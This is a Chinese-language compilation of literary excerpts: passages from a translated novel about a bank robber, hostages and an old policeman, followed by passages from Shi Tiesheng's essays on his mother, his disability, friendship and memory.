　　然后，律师寄来一封信。信上说，猴子和青蛙的另一位家长决定申请子女的唯一监护权，因为“目前情况下，其他监护人没有住房和工作，生活难以为继，所以我们必须为孩子考虑”。

　　另一位家长还发来一封电子邮件，说：“你需要拿走你的东西。”这句话的意思是：你的前任和前老板已经把好东西挑走了，你把剩下的垃圾带走吧。这些垃圾已经打好了包，搁在地下室的储藏间。你还能怎么办？也许该等夜深人静的时候过去拿，以免碰到邻居，可你现在无家可归，这些东西也没有地方放。不过，反正你也没地方住，天又开始冷了，不如在地下室的储藏间凑合一下。

　　邻居家的地下室储藏间恰好忘了上锁，里面有个箱子放着毛毯，于是银行劫匪把毛毯借来取暖，不知何故，毛毯底下有一把玩具手枪，劫匪决定拿着这把枪睡觉，免得疯狂的小偷半夜破门而入，至少可以吓唬对方。然后你开始哭，因为意识到自己才是疯狂的小偷。

　　所以你会怎么做？你努力了。也许是竭尽全力。这时候律师又寄来一封威胁信，你不知道该怎么办、该去找谁，你只是不想把事情闹大。早晨，你照常赶到公交车站，以为女儿们不会看出你心情低落，可她们看出来了，还想靠卖杂志帮你赚钱。把她们送到学校之后，你一个人跑进小巷子，坐在人行道边上哭了起来，因为你的脑子里不断回旋着一句话：“你们不应该爱我的。”

　　你走进那家因为你没钱而不借给你钱的银行，你告诉自己，你只需要六千五百克朗交房租，等你有了钱，就马上还回去。怎么还？比你更有头脑的人或许会问，但是……好吧……你可能从来没想过那么远，也许你还是应该戴着滑雪面罩、拿着玩具枪回到银行，把钱还给他们。因为你只需要一个月，只需要一个理顺一切的机会。

　　后来有人发现，那把该死的玩具枪之所以看起来很逼真，因为它就是真枪。楼梯间的地面上有一张画着麋鹿、青蛙和猴子的纸，在微风吹拂下轻轻颤动。顶层的那套公寓里，有一块浸满鲜血的地毯。

　　生活本来不应该是这样的。

　　心理医生觉得，画里的女人凝视地平线的动作只可能包含两层意义：向往和恐惧。她画下这幅画是为了提醒自己一些事。心理医生喜欢画，因为哪怕你对着一幅画看了很久很久，都不一定能注意到其中最显而易见的东西——比如，这幅画里的女人其实是站在一座桥上的。

　　“我的意思不是金钱等同于快乐。我是说，快乐跟金钱差不多——它们的价值都是编造出来的，是我们无法衡量的虚假的东西。”她说。

　　“而且……胜利者能赚很多钱，这也非常重要，我说得对吧？你赚到钱以后会怎么花呢？”她问。

　　“我的钱花在跟其他人保持距离上面。”扎拉回答。

　　心理医生从来没听到过这样的回答。

　　“这是什么意思？”她问。

　　“高级餐厅的桌子之间离得更远，头等舱没有中间的座位，豪华酒店有单独的套房客人入口。在这个人挤人的世界上，你能买到的最贵的东西就是人与人之间的距离。”

　　“你还是没回答我的问题。我问你为什么喜欢你的工作，你告诉我的却是你为什么擅长这份工作。”

　　“只有弱者才会喜欢他们的工作。”

　　“我认为这话不对。”

　　“那是因为你喜欢你的工作。”

　　“听你的意思，好像喜欢自己的工作有错似的。”

　　“你是不是又觉得难过了呀？你们这种人特别容易难过，你知道这是为什么吗？”

　　“不知道。”

　　“因为你们自始至终都是错的，假如别做那么多错事的话，就不会那么难过了。”

　　只要看看相爱的人是怎么拌嘴的，就会知道，在一起的时间越长，引起两人吵架所需要说的话就越少。

　　“孙子、孙女能让他觉得自己有价值？”她问。

　　安娜-莱娜勉强地笑了笑。

　　“你去幼儿园接过三岁的小孩没有？拉着他们的手走回家？”

　　“没有。”

　　“那个时候，你会觉得这是自己一生中最有价值的时刻。”

　　伦纳特：噢，我只是好奇。谁都会对别人好奇，是不是？更何况，我已经很久没遇到像她这样不好揣摩的人了，我试着揣摩过，可还是看不懂她。你笑什么？

　　杰克：我没笑。

　　伦纳特：你笑了！

　　杰克：对不起，我不是故意的。我就是想起了我爸说的话。

　　伦纳特：什么话？

　　杰克：他说，你迟早会和一个你看不懂的人结婚，然后在你的余生之中试着看懂她。

　　丈夫的去世，留给她的只有一千个瑰丽而孤寂的日出，把她的人生改造成漂亮的囚笼，仿佛生怕她忘了自己有多老。

　　在他最后的日子里，克努特躺在病床上，艾丝特尔问他：“你害怕吗？”他回答：“是。”然后他摸了摸她的头发，补充道：“但要是能安静一会儿也挺不错的，你可以把这句话刻在墓碑上。”艾丝特尔哈哈大笑。他走了以后，她哭得很厉害，气都喘不过来，从那以后，她的身体就跟过去不一样了，脊背一下子佝偻起来，再也没能挺直。

　　“哦，不认识。但他很了解那座桥。罗杰是个工程师，桥梁工程师，虽然那座桥不是他造的，但如果你和罗杰一样对桥感兴趣，就会喜欢上所有的桥。他们在电视上提起那个男人时，说得好像整件事都是那座桥的错似的，罗杰听了非常伤心，因为他说，建桥的目的是让人们更加靠近。”

　　曾经和我妈提起这件事，她说：‘跟只有脸长得漂亮的人在一起是没办法长久的，茱尔丝。至于有趣的人，哈哈，你绝对可以和他们生活一辈子！

　　艾丝特尔又想起了另一位作家说过的话，将近一百年前，这位作家写道，你的孩子，其实不是你的孩子，他们是生命对于自身渴望而诞生的孩子。

　　最后我们坐着聊了一整夜，卢欧给我讲了她和家人是怎么逃来瑞典的。在冬天最冷的时候，他们翻山越岭，逃难队伍里的每个小孩都带着一块床单，一听到直升机的声音，他们就躺在雪地里，把床单披在身上，与此同时，他们的父母会分别往不同的方向跑，这样直升机里的人就会对准正在移动的目标开枪。

　　假如你当着她的面打哈欠，她会凑过来，把一根手指头伸进你嘴里，看看能不能在你闭上嘴巴之前把指头抽出来。

　　“我不知道……这可能是……如果隔壁这套公寓委托同一个房产经纪人卖房，也许她会有房子的钥匙，然后……”他说。

　　他没法让自己说得太直白。

　　“你的意思是……”银行劫匪说。

　　吉姆振作精神站了起来，清了清嗓子。

　　“我的意思是，如果房产经纪人也负责出售隔壁这套公寓，肯定会有房子的钥匙……这样一来，也许你就能藏在那里了。别的警察上楼之后，不会强行打开所有公寓的门搜查你的，至少不能马上这么干。”他说。

　　“为什么不会？”劫匪问。

　　吉姆耸了耸肩。“因为我们没那么优秀，而且大家都会集中精力率先解救人质。假如你告诉人质，出去之后记得关上公寓门，那么所有人都会以为银行劫匪……你……还在里面。然后，等我们撞开门，发现你不在那，就不能随随便便地砸开别家的房门找你了，因为这么做社会影响非常不好，会给警方脸上抹黑。官僚部门最怕这个，你知道吧。按照规矩，我们必须先把所有人质带到警察局，挨个问话，获取证词，我觉得……你或许能趁机脱身。要是有人发现你在隔壁公寓，你可以假装自己是那里的住户！反正我们从一开始就假定银行劫匪是个男的。”他回答。

　　银行劫匪依然迷惑地瞪着眼睛。

　　“为什么？”她又问。

　　“因为女的一般……不干这种事。”吉姆尽可能婉转地说。

　　劫匪摇了摇头。

　　“不！我是问你为什么帮我？你是警察！你怎么会为了我做出这样的事呢？”她叫道。

　　吉姆轻轻点了点头，在裤子上擦了擦手，然后抬高手腕，搓起了眉毛。

　　“我妻子以前经常引用一个家伙说过的话……他是怎么说的来着……哦，他说，即使知道世界明天就要毁灭，他今天也要种一棵小苹果树。”他回答。

　　“说得真好。”银行劫匪小声说。

　　吉姆点点头，拿手背抹了抹眼睛。

　　“我不想……抓你。我知道你今天犯了个大错误，但是……情有可原。”他说。

　　“谢谢你。”劫匪说。

　　“你赶紧去问问房产经纪人，有没有隔壁公寓的钥匙，因为我儿子很快就会失去耐心冲上来的，到时候就……”老警察说。

　　银行劫匪一连眨了好几次眼。

　　“什么？你儿子？”她问。

　　“他也是警察。他肯定会冲在最前面的。”吉姆说。

　　银行劫匪喉咙发紧，声音颤抖起来。

　　“他很勇敢。”她说。

　　“因为他有个勇敢的妈妈。假如迫不得已，她也会为了他抢银行。我们俩刚认识那会儿，我连上帝都不相信。她长得美，我长得丑。她会跳舞，而我站都站不稳当。第一次见面的时候，我们都觉得，也许彼此只在工作上有共同点——我们都会尽最大的努力救人。”老警察说。

　　“我也不知道自己配不配得到拯救。”银行劫匪小声嘟囔道。

　　听到这话，吉姆只是点了点头，然后，这个诚实正派、即将违背自己一辈子职业原则的男人直直地望向劫匪的眼睛。

　　“十年之后再来告诉我，我今天做得到底对不对。”他说。

　　吉姆转身下楼。银行劫匪迟疑了一下，用力吞了吞口水，然后叫道：“等等！”

　　“什么？”

　　“我能不能……嗯……现在提出释放人质的条件，是不是有点儿晚了？”

　　“搞什么名堂……”

　　吉姆先是吃惊地挑了挑眉毛，然后有些恼火地皱起眉头。劫匪却似乎在逼自己下定决心。

　　“烟花。”她终于说，“公寓里有个老太太，她以前总是和她丈夫一起看烟花。后来她丈夫死了。我让她当了一天人质，我希望她能看看烟花。”

　　吉姆笑了，点了点头。

　　然后他往楼下走，准备对儿子撒谎。

　　“你是个好警察，儿子。”吉姆低着头说。其实他还想再添一句：更是个好人。可他说不出来。

　　“你并不总是一个好警察，爸爸。”杰克笑着仰起脸，望向远处的云层。他也想再添一句：但是除了做警察，其余的我都是跟你学的。可他说不出来。

　　不过，接下来他们会一起回家，一起看电视，一起喝啤酒。

　　这就够了。

　　“我相信银行的社会作用，我相信秩序。我向来都不否认，我们的客户、媒体和政客其实全都讨厌我们——因为这正是我们的目的。银行是经济体系的压舱石，把整个体系变得迟钝低效、官僚主义和难以操纵，从而阻止世界陷入太多的困境。人们需要官僚主义，这让他们在做傻事之前有时间三思而后行。”她说。

　　人们说，性格是个体经验的总和——可这不是真的，至少不完全对，因为假如现在的我们完全是由过去定义的，那么肯定谁也无法忍受自己。一个人需要有机会自我说服，相信自己并不仅仅是昨天所犯下的一切错误的总和，我们也是所有自身选择的总和，以及未来每一个明天的总和。

我与地坛

　　一个人，出生了，这就不再是一个可以辩论的问题，而只是上帝交给他的一个事实；上帝在交给我们这件事实的时候，已经顺便保证了它的结果，所以死是一件不必急于求成的事，死是一个必然会降临的节日。

　　有一回我摇车出了小院，想起一件什么事又返身回来，看见母亲仍站在原地，还是送我走时的姿势，望着我拐出小院去的那处墙角，对我的回来竟一时没有反应。待她再次送我出门的时候，她说：“出去活动活动，去地坛看看书，我说这挺好。”许多年以后我才渐渐听出，母亲这话实际上是自我安慰，是暗自的祷告，是给我的提示，是恳求与嘱咐。只是在她猝然去世之后，我才有余暇设想。当我不在家里的那些漫长的时间，她是怎样心神不定坐卧难宁，兼着痛苦与惊恐与一个母亲最低限度的祈求。

　　现在我可以断定，以她的聪慧和坚忍，在那些空落的白天后的黑夜，在那不眠的黑夜后的白天，她思来想去最后准是对自己说：“反正我不能不让他出去，未来的日子是他自己的，如果他真的在那园子里出了什么事，这苦难也只好我来承担。”

　　在我的头一篇小说发表的时候，在我的小说第一次获奖的那些日子里，我真是多么希望我的母亲还活着。我便又不能在家里待了，又整天整天独自跑到地坛去，心里是没头没尾的沉郁和哀怨，走遍整个园子却怎么也想不通：母亲为什么就不能再多活两年？为什么在她儿子就快要碰撞开一条路的时候，她却忽然熬不住了？莫非她来此世上只是为了替儿子担忧，却不该分享我的一点点快乐？她匆匆离我去时才只有四十九岁呀！

　　摇着轮椅在园中慢慢走，又是雾罩的清晨，又是骄阳高悬的白昼，我只想着一件事：母亲已经不在了。在老柏树旁停下，在草地上在颓墙边停下，又是处处虫鸣的午后，又是鸟儿归巢的傍晚，我心里只默念着一句话：可是母亲已经不在了。把椅背放倒，躺下，似睡非睡挨到日没，坐起来，心神恍惚，呆呆地直坐到古祭坛上落满黑暗然后再渐渐浮起月光，心里才有点儿明白，母亲不能再来这园中找我了。

　　曾有过好多回，我在这园子里待得太久了，母亲就来找我。她来找我又不想让我发觉，只要见我还好好地在这园子里，她就悄悄转身回去，我看见过几次她的背影。我也看见过几回她四处张望的情景，她视力不好，端着眼镜像在寻找海上的一条船，她没看见我时我已经看见她了，待我看见她也看见我了我就不去看她，过一会儿我再抬头看她就又看见她缓缓离去的背影。我单是无法知道有多少回她没有找到我。有一回我坐在矮树丛中，树丛很密，我看见她没有找到我；她一个人在园子里走，走过我的身旁，走过我经常待的一些地方，步履茫然又急迫。我不知道她已经找了多久还要找多久，我不知道为什么我决意不喊她——但这绝不是小时候的捉迷藏，这也许是出于长大了的男孩子的倔强或羞涩？但这倔强只留给我痛悔，丝毫也没有骄傲。我真想告诫所有长大了的男孩子，千万不要跟母亲来这套倔强，羞涩就更不必，我已经懂了可我已经来不及了。

　　还有一个人，是我的朋友，他是个最有天赋的长跑家，但他被埋没了。他因为在“文革”中出言不慎而坐了几年牢，出来后好不容易找了个拉板车的工作，样样待遇都不能与别人平等，苦闷极了便练习长跑。那时他总来这园子里跑，我用手表为他计时，他每跑一圈向我招一下手，我就记下一个时间。每次他要环绕这园子跑二十圈，大约两万米。他盼望以他的长跑成绩来获得政治上真正的解放，他以为记者的镜头和文字可以帮他做到这一点。第一年他在春节环城赛上跑了第十五名，他看见前十名的照片都挂在了长安街的新闻橱窗里，于是有了信心。第二年他跑了第四名，可是新闻橱窗里只挂了前三名的照片，他没灰心。第三年他跑了第七名，橱窗里挂前六名的照片，他有点儿怨自己。第四年他跑了第三名，橱窗里却只挂了第一名的照片。第五年他跑了第一名——他几乎绝望了，橱窗里只有一幅环城赛群众场面的照片。那些年我们俩常一起在这园子里待到天黑，开怀痛骂，骂完沉默着回家，分手时再互相叮嘱：先别去死，再试着活一活看。现在他已经不跑了，年岁太大了，跑不了那么快了。最后一次参加环城赛，他以三十八岁之龄又得了第一名并破了纪录，有一位专业队的教练对他说：“我要是十年前发现你就好了。”他苦笑一下什么也没说，只在傍晚又来这园中找到我，把这事平静地向我叙说一遍。不见他已有好几年了，现在他和妻子和儿子住在很远的地方。

　　小伙子向他的妹妹走去。少女松开了手，裙裾随之垂落了下来，很多很多她捡的小灯笼便洒落了一地，铺散在她脚下。她仍然算得上漂亮，但双眸迟滞没有光彩。她呆呆地望着那群跑散的家伙，望着极目之处的空寂，凭她的智力绝不可能把这个世界想明白吧？大树下，破碎的阳光星星点点，风把遍地的小灯笼吹得滚动，仿佛喑哑地响着无数小铃铛。哥哥把妹妹扶上自行车后座，带着她无言地回家去了。

　　设若有一位园神，他一定早已注意到了，这么多年我在这园里坐着，有时候是轻松快乐的，有时候是沉郁苦闷的，有时候优哉游哉，有时候恓惶落寞，有时候平静而且自信，有时候又软弱，又迷茫。其实总共只有三个问题交替着来骚扰我，来陪伴我。第一个是要不要去死，第二个是为什么活，第三个，我干吗要写作。

　　你这么想着你却还在绞尽脑汁地想写。我好歹又拧出点儿水来，从一条快要晒干的毛巾上。恐慌日甚一日，随时可能完蛋的感觉比完蛋本身可怕多了，所谓不怕贼偷就怕贼惦记，我想人不如死了好，不如不出生的好，不如压根儿没有这个世界的好。可你并没有去死。我又想到那是一件不必着急的事。可是不必着急的事并不证明是一件必要拖延的事呀？你总是决定活下来，这说明什么？是的，我还是想活。人为什么活着？因为人想活着，说到底是这么回事，人真正的名字叫做：欲望。可我不怕死，有时候我真的不怕死。有时候——说对了。不怕死和想去死是两回事，有时候不怕死的人是有的，一生下来就不怕死的人是没有的。我有时候倒是怕活。可是怕活不等于不想活呀！可我为什么还想活呢？因为你还想得到点儿什么，你觉得你还是可以得到点儿什么的，比如说爱情，比如说价值感之类，人真正的名字叫欲望。这不对吗？我不该得到点儿什么吗？没说不该。可我为什么活得恐慌，就像个人质？后来你明白了，你明白你错了，活着不是为了写作，而写作是为了活着。

　　友谊医院——这名字叫得好。“同仁”“协和”“博爱”“济慈”，这样的名字也不错，但或稍嫌冷静，或略显张扬，都不如“友谊”听着那么平易、亲近。也许是我的偏见。二十一岁末尾，双腿彻底背叛了我，我没死，全靠着友谊。还在乡下插队的同学不断写信来。软硬兼施劝骂并举，以期激起我活下去的勇气；已转回北京的同学每逢探视日必来看我，甚至非探视日他们也能进来。“怎进来的你们？”“咳，闭上一只眼睛想一会儿就进来了。”

　　加号的窗口朝向大街，我的床紧挨着窗，在那儿我度过了二十一岁中最惬意的时光。每天上午我就坐在窗前清清静静地读书，很多名著我都是在那时读到的，也开始像模像样地学着外语。一过中午，我便直着眼睛朝大街上眺望，尤其注目骑车的年轻人和 5 路汽车的车站，盼着朋友们来。有那么一阵子我暂时忽略了死神。朋友们来了，带书来，带外面的消息来，带安慰和欢乐来，带新朋友来，新朋友又带新的朋友来，然后都成了老朋友。

　　住在6号时，我见过有一对恋人。那时他们正是我现在的年纪，四十岁。他们是大学同学。男的二十四岁时本来就要出国留学，日期已定，行装都备好，可命运无常，不知因为什么屁大的一点儿事不得不拖延一个月，偏就在这一个月里因为一次医疗事故他瘫痪了。女的对他一往情深，等着他，先是等着他病好，没等到；然后还等着他，等着他同意跟她结婚，还是没等到。外界的和内心的阻力重重，一年一年，男的既盼着她来又说服着她走。但一年一年，病也难逃爱也难逃，女的就这么一直等着。有一次她狠了狠心，调离北京到外地去工作了，但是斩断感情却不这么简单，而且再想调回北京也不这么简单，女的只要有三天假期也迢迢千里地往北京跑。男的那时病更重了，全身都不能动了，和我同住一个病室。女的走后，男的对我说过：“你要是爱她，你就不能害她，除非你不爱她，可是你又为什么要结婚呢？”男的睡着了，女的对我说过：我知道他这是爱我，可他不明白其实这是害我，我真想一走了事，我试过，不行，我知道我没法不爱他。女的走了男的又对我说过：不不，她还年轻，她还有机会，她得结婚，她这人不能没有爱。男的睡了女的又对我说过：可什么是机会呢？机会不在外面在心里，结婚的机会有可能在外边，可爱情的机会只能在心里。女的不在时，我把她的话告诉男的，男的默然垂泪。我问他：“你干吗不能跟她结婚呢？”他说：“这你还不懂。”他说：“这很难说得清，因为你活在整个这个世界上。”他说：“所以，有时候这不是光由两个人就能决定的。”我那时确实还不懂。我找到机会又问女的：“为什么不是两个人就能决定的？”她说：“不，我不这么认为。”她说：“不过确实，有时候这确实很难。”她沉吟良久，说：“真的，跟你说你现在也不懂。”十九年过去了，那对恋人现在该已经都是老人。我不知道现在他们各自在哪儿，我只听说他们后来还是分手了。十九年中，我自己也有过爱情的经历了，现在要是有个二十一岁的人问我爱情都是什么？大概我也只能回答：真的，这可能从来就不是能说得清的。无论她是什么，她都很少属于语言，而是全部属于心的。还是那位台湾作家三毛说得对：爱如禅，不能说不能说，一说就错。那也是在一个童话的结尾处，上帝为我们能够永远地追寻着活下去，而设置的一个残酷却诱人的谜语。

　　二十一岁过去，我被朋友们抬着出了医院，这是我走进医院时怎么也没料到的。我没有死，也再不能走，对未来怀着希望也怀着恐惧。在以后的年月里，还将有很多我料想不到的事发生，我仍旧有时候默念着“上帝保佑”而陷入茫然。但是有一天我认识了神，他有一个更为具体的名字——精神。在科学的迷茫之处，在命运的混沌之点，人惟有乞灵于自己的精神。不管我们信仰什么，都是我们自己的精神的描述和引导。

　　三十岁时，我的第一篇小说发表了，母亲却已不在人世。过了几年，我的另一篇小说又侥幸获奖，母亲已经离开我整整七年。

　　母亲去世后，我们搬了家。我很少再到母亲住过的那个小院儿去。小院儿在一个大院儿的尽里头，我偶尔摇车到大院儿去坐坐，但不愿意去那个小院儿，推说手摇车进去不方便。院儿里的老太太们还都把我当儿孙看，尤其想到我又没了母亲，但都不说，光扯些闲话，怪我不常去。我坐在院子当中，喝东家的茶，吃西家的瓜。有一年，人们终于又提到母亲：“到小院儿去看看吧，你妈种的那棵合欢树今年开花了！”我心里一阵抖，还是推说手摇车进出太不易。大伙儿就不再说，忙扯些别的，说起我们原来住的房子里现在住了小两口，女的刚生了个儿子，孩子不哭不闹，光是瞪着眼睛看窗户上的树影儿。

　　我没料到那棵树还活着。

　　记得那儿曾有一面红砖短墙，墙头插满锋利的碎玻璃碴儿，我们一群八九岁的孩子总去搅扰墙里那户人家的安宁，攀上一棵小树，扒着墙沿央告人家把我们的足球扔出来。那面墙应该说藏得很是隐蔽，在一条死巷里，但可惜那巷口的宽度很适合做我们的球门。巷口外的一片空地是我们的球场，球难免是要踢向球门的，倘临门一脚踢飞，十之八九便降落到那面墙里去。墙里是一户善良人家，飞来物在我们的央告下最多被扣压十分钟。但有一次，那足球学着篮球的样子准确投入墙内的面锅，待一群孩子又爬上小树去看时，雪白的面条热气腾腾全滚在煤灰里。正是所谓“三年困难时期”，足球事小，我们乘暮色抱头鼠窜。好几天后，我们由家长带领，以封闭“球场”为代价换回了那只足球。

　　三年前我搬了家，隔窗相望就是一所幼儿园，常在清晨的懒睡中就听见孩子进园前的嘶嚎。我特意去那园门前看过，抗拒进园的孩子其壮烈都像宁死不屈，但一落入园墙便立刻吞下哭声，恐惧变成冤屈，泪眼望天，抱紧着对晚霞的期待。不见得有谁比我更能理解他们，但早早地对墙有一点儿感受，不是坏事。

　　我最记得母亲消失在那面青灰色高墙里的情景。她当然是绕过那面墙走上了远途的，但在我的印象里，她是走进那面墙里去了。没有门，但是母亲走进去了，在那些高高的树上蝉鸣浩大，在那些高高的树下母亲的身影很小，在我的恐惧里那儿即是远方。

　　第一年他爸他妈回北京探亲，在农村干了一年连路费都没挣够，只好一路扒车（扒车，就是坐火车不买票或只买一张站台票，让列车员抓住看你确实没钱，最多也就是把你轰下来）。没钱，可那时年轻，有一副经得起摔打的好身体，住不起旅馆就蹲车站，车上没你的座位你就站着，见查票的来了赶紧往厕所躲，躲不及就又被轰下去。轰下去就轰下去，等一辆车再上，还是一张站台票。归心似箭，就这样一程一程，朝圣般地向京城推进。如此日夜兼程，可是把他爸他妈累着了。有一次扒上一趟车，谢天谢地车上挺空，他爸他妈一人找了一条大椅子纳头便睡。接连几个小站过去，车上的人多了，有人把他爸叫起来，说座位是大家的不能你一个人睡，他爸点点头让人家坐下。再过一会儿，又有人去叫他妈起来。他爸看着心疼。爱情给人智慧，他爸灵机一动，指指他妈对众人说：“别理她，疯子。”众人于是退避三舍，听任他妈睡得香甜。

　　想来，人类的一切歌唱大概正就是这样起源。或者说一切艺术都是这样起源。艰苦的生活需要希望，鲜活的生命需要爱情，数不完的日子和数不完的心事，都要诉说。民歌尤其是这样。陕北民歌尤其是这样。

　　但是他愿意唱什么就让他唱什么吧，世上的一些事多是出于瞎操心，由瞎操心再演变为穷干涉。我们的第二代既然也快到了恋爱的季节，我们尤其要注意：任何以自己的观念干涉别人爱情的行为，都只是一股逆流。

　　也许是因为人缺了什么就更喜欢什么吧，我的两条腿一动不能动，却是个体育迷。我不光喜欢看足球、篮球以及各种球类比赛，也喜欢看田径、游泳、拳击、滑冰、滑雪、自行车和汽车比赛，总之我是个全能体育迷。当然都是从电视里看，体育场馆门前都有很高的台阶，我上不去。

　　到底为什么呢？最后我知道了：我看见了所谓“最幸福的人”的不幸，刘易斯那茫然的目光使我的“最幸福”的定义动摇了继而粉碎了。上帝从来不对任何人施舍“最幸福”这三个字，他在所有人的欲望前面设下永恒的距离，公平地给每一个人以局限。如果不能在超越自我局限的无尽路途上去理解幸福，那么史铁生的不能跑与刘易斯的不能跑得更快就完全等同，都是沮丧与痛苦的根源。假若刘易斯不能懂得这些事，我相信，在前述那个中午，他一定是世界上最不幸的人。

　　要不，有一点儿病？噢老天爷，千万可别，您饶了我吧，无论如何帮帮忙，下辈子万万不能再有病了，绝对不能。咱们辛辛苦苦弄这个“好运设计”因为什么您知道不？是的您应该知道，那就请您再别提病，一个字也别提。

　　关于往日，我能写的，只是我的记忆和印象。我无意追踪史实。我不知道追踪到哪儿才能终于追踪到史实；追踪所及，无不是记忆和印象。有位大物理学家说过：“物理学不告诉我们世界是什么，而是告诉我们关于世界我们能够谈论什么。”这话给了我胆量。

　　奶奶说，母亲为生了那么个丑东西伤心了好久，那时候母亲年轻又漂亮。这件事母亲后来闭口不谈，只说我来的时候“一层黑皮包着骨头”，她这样说的时候已经流露着欣慰，看我渐渐长得像回事了。

　　我很久都弄不懂，为什么单要把这两个老太太叫老姑娘？我问母亲：“奶奶为什么不是老姑娘？”母亲说：“没结过婚的女人才是老姑娘，奶奶结过婚。”可我心里并不接受这样的解释。结婚嘛，不过发几块糖给众人吃吃，就能有什么特别的作用吗？在我想来，女人年轻时都是姑娘，老了就都是老太太，怎么会有“老姑娘”这不伦不类的称呼？我又问母亲：“你给大伙儿买过糖了吗？”母亲说：“为什么？我为什么要给大伙儿买糖？”“那你结过婚吗？”母亲大笑，揪揪我的耳朵：“我没结过婚就敢有你了吗？”我越糊涂了，怎么又扯上我了呢？

　　幼儿园实在没给我留下什么美好印象。倒是那两个老太太一直在我的记忆里，一个胖些，一个瘦些，都那么慈祥，都那么忙碌、慌张。她们怕哪个孩子摔了碰了，怕弄坏了房东刘奶奶的花，总是吊着一颗心。但除了这样的怕，我总觉得，在她们心底，在不易觉察的慌张后面，还有另外的怕。另外的怕是什么呢？说不清，但一定更沉重。

　　小学快毕业的时候，我回那幼儿园去看过一回。果然，转椅、滑梯、攀登架都有了，教室里桌椅齐备，孩子也比以前多出几倍。房东刘奶奶家已经迁走。一个年轻女老师在北屋的廊下弹着风琴，孩子们在院子里随着琴声排练节目。一间南屋改作厨房，孩子们可以在幼儿园用餐了。那个年轻女老师问我：“你找谁？”我说：“苏老师和孙老师呢？”“她们呀？已经退休了。”我回家告诉母亲，母亲说哪是什么退休呀，是她们的出身和阶级成分不适合教育工作。后来“文革”开始了，又听说她们都被遣送回原籍。

　　有一年我从电视中看见，一个懂得忏悔的人，走到被纳粹杀害的犹太人墓前，双腿下跪，我于是知道忏悔不应当只是一代人的心情。有一年，我又从电视中看见，一个懂得祈祷的人走到二战德国阵亡士兵的墓前默立哀悼，我于是看见了祈祷的全部方向。

　　我双腿瘫痪后悄悄地学写作，母亲知道了，跟我说，她年轻时的理想也是写作。这样说时，我见她脸上的笑与姥姥当年的一模一样，也是那样惭愧地张望四周，看窗上的夕阳，看院中的老海棠树。但老海棠树已经枯死，枝干上爬满豆蔓，开着单薄的豆花。

　　母亲说，她中学时的作文总是被老师当做范文给全班同学朗读。母亲说，班上还有个作文写得好的，是个男同学。“前些天咱们看的那个电影，编剧可能就是他。”“可能？为什么？”“反正那编剧的姓名跟他一字不差。”有一天家里来了个客人，偏巧认识那个编剧，母亲便细细询问：性别、年龄、民族，都对；身材相貌也不与当年那个少年可能的发展相悖。母亲就又急慌慌地问：“他的老家呢，是不是涿州？”这一回客人含笑摇头。母亲说：“那您有机会给问问……”我喊起来：“问什么问！”母亲的意思是想给我找个老师，我的意思是滚他妈的什么老师吧！——那时我刚坐进轮椅，一副受压迫者的病态心理。

　　有一年作协开会，我从“与会作家名录”上知道了那个人的籍贯：河北涿州。其时母亲已经去世。忽然一个念头撞进我心里：母亲单是想给我找个老师吗？

　　又过了很多年，有人从老家带来一份县志，上面竟有几篇对姥爷的颂扬文字，使那空白的人形有了一点儿确定的形象。文中说到他的抗日功劳，说到他的教育成就，余者不提。那时姥姥和母亲早都不在人间，奶奶和父亲也已去世。那时，大舅从几十年杳无音信之中忽然回来，一头白发，满面沧桑。大舅捧着那县志，半天不说话，惟手和脸簌簌地抖。

　　拒马河在太阳下面闪闪发光。他们说这河以前要宽阔得多，水也比现在深，浪也比现在大。他们说，以前，这一块平原差不多都靠着这条河。他们说，那时候，在河湾水浅的地方，随时你都能摸上一条大鲤鱼来。他们说，那时候这河里有的是鱼虾、螃蟹、莲藕、鸡头米，苇子长得比人高，密不透风，五月节包粽子，米泡好了再去劈粽叶也来得及……

　　父亲避开我的目光，不说话，满脸通红，转身走开。我不敢再说什么。我知道那不是因为别的，是因为不能忘记的痛苦。母亲去世十年后的那个清明节，我和妹妹曾跟随父亲一起去给母亲扫墓，但是母亲的墓已经不见，那时父亲就是这样的表情，满脸通红，一言不发，东一头西一头地疾走，满山遍野地找寻着一棵红枫树，母亲就葬在那棵树旁。我曾写过：母亲离开得太突然，且只有四十九岁，那时我们三个都被这突来的噩运吓傻了，十年中谁也不敢提起母亲一个字，不敢说她，不敢想她，连她的照片也收起来不敢看……直到十年后，那个清明节，我们不约而同地说起该去看看母亲的坟了；不约而同——可见谁也没有忘记，一刻都没有忘记……

　　母亲去世时，我坐在轮椅里连一条谋生的路也还没找到，妹妹才十三岁，父亲一个人担起了这个家。二十年，这二十年母亲在天国一定什么都看见了。二十年后一切都好了，那个冬天，一夜之间，父亲就离开了我们。他仿佛终于完成了母亲的托付，终于熬过了他不能不熬的痛苦、操劳和孤独，然后急着去找母亲了——既然她在这尘世间连坟墓都没有留下。

　　有时是为了一本小人书，租期紧，大家轮不过来，就一齐跑到那庙里去看，一个人捧着大家围在四周，大家都说看好了才翻页。谁看得慢了，大家就骂他笨，其实都还识不得几个字，主要是看画，看画自然也有笨与不笨之分。或者是为了抄作业，有几个笨主儿作业老是不会，就抄别人的，庙里安全，老师和家长都看不见。佛嘛，心中无佛什么事都敢干。

　　实在说，那几年我基本上还能吃到八成饱，可母亲和奶奶都饿得浮肿，腿上、手上一按一个坑。那时我还不知道中国发生了什么，不知道农村已经饿死了很多人。但我在我家门前见过两兄弟，夏天，他们都穿着棉衣，坐在太阳底下数黄豆。他们已经几天没吃饭了，终于得到一把黄豆便你一个我一个地分，准备回去煮了吃。我还见过我们班上的一个同学，上课时他趴在桌上睡，老师把他叫站起来，他一站起来就倒下去。过后才知道，他的父母不会计划，一个月的粮食半个月就差不多吃光，剩下的日子顿顿喝米汤。

　　在幽暗的剧场里他们挨得很紧，看那辉煌的银幕时，他们复习着一致的梦想：有一天，在那儿，银幕上，编剧二字之后，“是你的名字”——她说；“是呀但愿”——我想。

　　然而，终于这一天到来之时，时间已经远远地超过了暂时。我独自看那“编剧”后面的三个字，早已懂得：有为，与爱情，原是风马牛不相及的两个领域。但暂时，亦可在心中长久，而写作，却永远地不能与爱情无关。

　　珊 珊

　　那些天珊珊一直在跳舞。那是暑假的末尾，她说一开学就要表演这个节目。

　　晌午，院子里很静。各家各户上班的人都走了，不上班的人在屋里伴着自己的鼾声。珊珊换上那件白色的连衣裙，“吱呀”一声推开她家屋门，走到老海棠树下，摆一个姿势，然后轻轻起舞。

　　“吱呀”一声我也从屋里溜出来。

　　“干什么你？”珊珊停下舞步。

　　“不干什么。”

　　我煞有介事地在院子里看一圈，然后在南房的阴凉里坐下。

